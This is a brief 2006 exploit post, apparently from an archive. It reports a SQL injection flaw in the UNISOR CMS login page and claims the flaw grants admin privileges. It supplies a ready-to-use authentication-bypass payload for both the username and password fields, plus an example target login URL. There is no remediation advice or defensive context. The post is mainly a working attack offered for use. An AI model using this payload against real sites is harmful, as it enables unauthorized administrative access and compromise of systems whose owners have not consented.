UNISOR-cms.txt

Posted on 31 October 2006

*********************** * Tunis the 26/10/2006* * bug found by fireboy* *********************** product:UNISOR CMS vendor:www.unisor.nl there is an sql injection problem in UNISOR CMS login page and it can be exploited to gain admin privileges. exploit: user: 'or''=' pass: 'or''=' example:http://www.target.com/unisor/login.asp thx